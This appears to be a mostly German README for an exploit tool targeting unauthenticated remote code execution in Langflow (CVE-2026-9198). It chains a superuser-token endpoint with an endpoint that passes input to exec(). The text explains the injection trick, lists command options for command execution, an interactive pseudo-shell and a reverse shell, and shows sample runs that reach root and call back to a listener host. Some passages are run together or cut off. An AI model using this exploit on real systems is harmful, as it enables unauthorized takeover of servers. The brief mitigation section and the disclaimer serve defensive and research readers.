
Unauthentifizierte Remote-Codeausführung in IBM Langflow OSS (1.0.0 – 1.10.0) bei einer Standardinstallation. Verkettet zwei Schwachstellen:
GET /api/v1/auto_login stellt jedem Aufrufer ohne Anmeldedaten ein SUPERUSER-JWT aus, sofern AUTO_LOGIN aktiviert ist (Standard in Langflow < 1.5).POST /api/v1/validate/code übergibt vom Benutzer gelieferten Python-Code ohne Sandbox an exec().Zusammen (CVE-2026-9198) erlangt ein nicht authentifizierter Angreifer Codeausführung als der Langflow-Dienstbenutzer — häufig root.
Fordert ein Superuser-Bearer-Token von /api/v1/auto_login an (ohne Authentifizierung).
Übermittelt einen Payload an /api/v1/validate/code. Der Endpunkt führt den Code per exec() aus, um ihn zu „validieren“; Python wertet Standardargumentwerte zum Zeitpunkt der Definition aus, sodass der Payload in ein Standardargument einer Funktion verpackt wird:
def _v(a=exec('<payload>')): pass
Zur Befehlsausführung löst der Payload eine Exception aus, deren Meldung die Befehlsausgabe ist; der Endpunkt spiegelt sie in der Antwort (function.errors[]) zurück.
./exploit.py -t <target> [options]
-t, --target target host/IP (or full URL) (required)
-p, --port Langflow port (default 7860)
-c, --cmd run a single shell command, print output
--shell interactive pseudo-shell (each line runs via the RCE)
--lhost reverse-shell listener IP
--lport reverse-shell listener port (default 4444)
-k, --token use this bearer token (skip auto_login)
--timeout HTTP timeout in seconds (default 20)
--no-banner suppress the banner
-h, --help show help
$ ./exploit.py -t 192.168.30.128
CVE-2026-9198 — Langflow unauthenticated RCE
auto_login (superuser token) -> validate/code (exec)
[*] requesting superuser token via /api/v1/auto_login ...
[+] token: eyJhbGciOiJIUzI1NiIsInR...
uid=0(root) gid=0(root) groups=0(root)
$ ./exploit.py -t 192.168.30.128 -c 'cat /root/proof.txt'
...
d4b81f6a3c9e07254f6a3c9e07254d4b
$ ./exploit.py -t 192.168.30.128 --shell
[+] RCE confirmed: uid=0(root) gid=0(root) groups=0(root)
[*] pseudo-shell — each line runs via a fresh request. Ctrl-C / 'exit' to quit.
langflow$ hostname
flow
langflow$ whoami
root
# reverse shell (start `nc -lvnp 4444` first)
$ ./exploit.py -t 192.168.30.128 --lhost 10.10.14.7 --lport 4444
[*] sending reverse shell to 10.10.14.7:4444 (start your listener first) ...
[+] payload sent. Check your listener.
pip install erforderlich)AUTO_LOGIN aktiviert ist (Standard für Langflow < 1.5; bei >= 1.5 muss explizit LANGFLOW_AUTO_LOGIN=true gesetzt sein). Wenn auto_login kein Token zurückgibt, ist das Ziel über diesen Pfad nicht ausnutzbar — gib ein gültiges Token mit -k an, falls du eines hast.function.errors[] zurückgegeben; stderr wird in stdout zusammengeführt, sodass fehlgeschlagene Befehle ihren Fehler trotzdem anzeigen.root (häufig bei direktem langflow run unter systemd/Docker-as-root), ist das direkter Root-Zugriff auf den Host.validate/code darf keine nicht vertrauenswürdigen Eingaben per exec() ausführen und auto_login darf keine Superuser-Tokens ausstellen.LANGFLOW_AUTO_LOGIN=false und konfiguriere echte Superuser-Zugangsdaten.root aus.Dieses Projekt wird ausschließlich für autorisierte Sicherheitstests und Bildungszwecke veröffentlicht. Verwende es nicht gegen Systeme, die dir nicht gehören oder für die du keine ausdrückliche Erlaubnis zum Testen hast. Der Autor übernimmt keine Haftung für Missbrauch.